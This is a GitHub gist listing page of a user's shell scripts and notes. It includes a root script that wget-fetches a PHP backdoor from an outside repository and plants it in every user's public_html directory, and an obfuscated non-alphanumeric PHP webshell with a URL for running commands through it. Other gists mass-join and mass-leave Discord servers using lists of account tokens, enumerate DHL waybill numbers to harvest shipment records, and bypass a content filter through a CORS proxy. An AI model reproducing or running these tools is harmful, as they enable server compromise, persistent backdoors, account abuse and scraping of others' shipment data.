Skip to content

Instantly share code, notes, and snippets.

Avatar

Viloid vsec7

  • Solana
  • Ponpes Tambak Beras, Jombang
  • Twitter @verry__d
View GitHub Profile
@vsec7
vsec7 / mass_shell.sh
Created Apr 13, 2022
Copy file to all user directory . *note: do with root / sudoer
View mass_shell.sh
#!/usr/bin/env bash
f="file1.php"
wget -O "$f" https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php
_USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
for u in $_USERS; do
_dir="/home/${u}/public_html"
if [ -d "$_dir" ]; then
cp -f "${f}" "$_dir"
chown $(id -un $u):$(id -gn $u) "${_dir}/${f}"
@vsec7
vsec7 / leave.sh
Last active Apr 13, 2022
Mass leave discord server
View leave.sh
#!/usr/bin/env bash
# DC mass leave server
# Created by github.com/vsec7
# Usage : ./script listtoken
leave(){
g=$(curl -s -X DELETE "https://discordapp.com/api/v6/users/@me/guilds/$1" \
-H "Authorization: $2")
if [ -z $g ]; then
echo "[+] $2 : Success leave"
@vsec7
vsec7 / invite.sh
Last active Apr 13, 2022
Mass join discord server
View invite.sh
#!/usr/bin/env bash
# DC mass join server
# Created by github.com/vsec7
# Usage : ./script
join(){
g=$(curl -s -X POST "https://discordapp.com/api/v6/invites/$1" \
-H "Authorization: $2")
if [ $(echo $g | grep -oP '"new_member": \K[^,]+' ) == "true" ]; then
echo "[+] $2 : Succesfully joined"
@vsec7
vsec7 / gen_dhl_awb.sh
Created Apr 7, 2021
Generate random awb DHL (delivered only)
View gen_dhl_awb.sh
echo;while :;do d=10;a=$(date +%s);b=$((a*RANDOM));while [ ${#b} -lt 10 ]; do b="${b}$RANDOM";done;g=$(curl -s "https://mydhl.express.dhl/shipmentTracking?AWB=$(echo "${b:0:d}")&countryCode=id&languageCode=en" | jq .results[0]); if [ $(echo $g | jq -r .delivery.status) == "delivered" ]; then printf "%s | %s| ori: %s | dest: %s\n" "$(echo $g | jq -r .id)" "$(echo $g | jq -r .checkpoints[0].date)" "$(echo $g | jq -r .origin.value)" "$(echo $g | jq -r .destination.value)" | tee -a dhlawb.txt;fi;done
@vsec7
vsec7 / Bookmarklet_FB_downloader_via_chrome_android.md
Created Oct 18, 2020
Download video Facebook via Chrome Android
View Bookmarklet_FB_downloader_via_chrome_android.md

Download video Facebook via Chrome Android

    1. visit link facebook video
    1. copy paste this payload on url bar
javascript:window.open(document.body.innerHTML.match(/(?<=video:\[\{url:").*?(?=")/),'_blank');

*NB :

@vsec7
vsec7 / WAHH_Task_Checklist.md
Created Sep 5, 2020 — forked from jhaddix/WAHH_Task_Checklist.md
The Web Application Hacker's Handbook - Task Checklist - Github-Flavored Markdown
View WAHH_Task_Checklist.md
@vsec7
vsec7 / Non-Alphanumeric_WebShell.md
Created Jul 27, 2020
Non-Alphanumeric WebShell PHP explaination
View Non-Alphanumeric_WebShell.md

Non-Alphanumeric WebShell PHP

Code :

<?php $_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);

Cara Akses :

shell.php?_=system&__=id
View BurpSuiteSSLPassTrough.json
{
"proxy":{
"ssl_pass_through":{
"automatically_add_entries_on_client_ssl_negotiation_failure":false,
"rules":[
{
"enabled":true,
"host":".*\\.google\\.com",
"protocol":"any"
},
@vsec7
vsec7 / nhentai.sh
Created Jun 14, 2020
[OneLiner] [bash] Bypass internet positive + mass image downloader nhentai.net
View nhentai.sh
read -p "ID : " id;mkdir $id;cd $_;xargs -n1 -I{} sh -c 'curl --progress-bar -O -H "Origin: rincans.io" "https://cors-anywhere.herokuapp.com/{}"' <<< `curl -s -H "Origin: rincans.io" "https://cors-anywhere.herokuapp.com/https://nhentai.net/g/$id/" | grep -Po 'data-src="\K[^"]+' | grep -v thumb`
View bblist.sh
#!/usr/bin/env bash
# Search Program Bug Bounty
# By Viloid
# ./bblist.sh <search>
get=$(curl -s "https://raw.githubusercontent.com/disclose/disclose/master/program-list/program-list.json" | jq '.[]|select(.program_name|test("'$1'"; "i"))' | jq -s '[.[]]')
echo $get | jq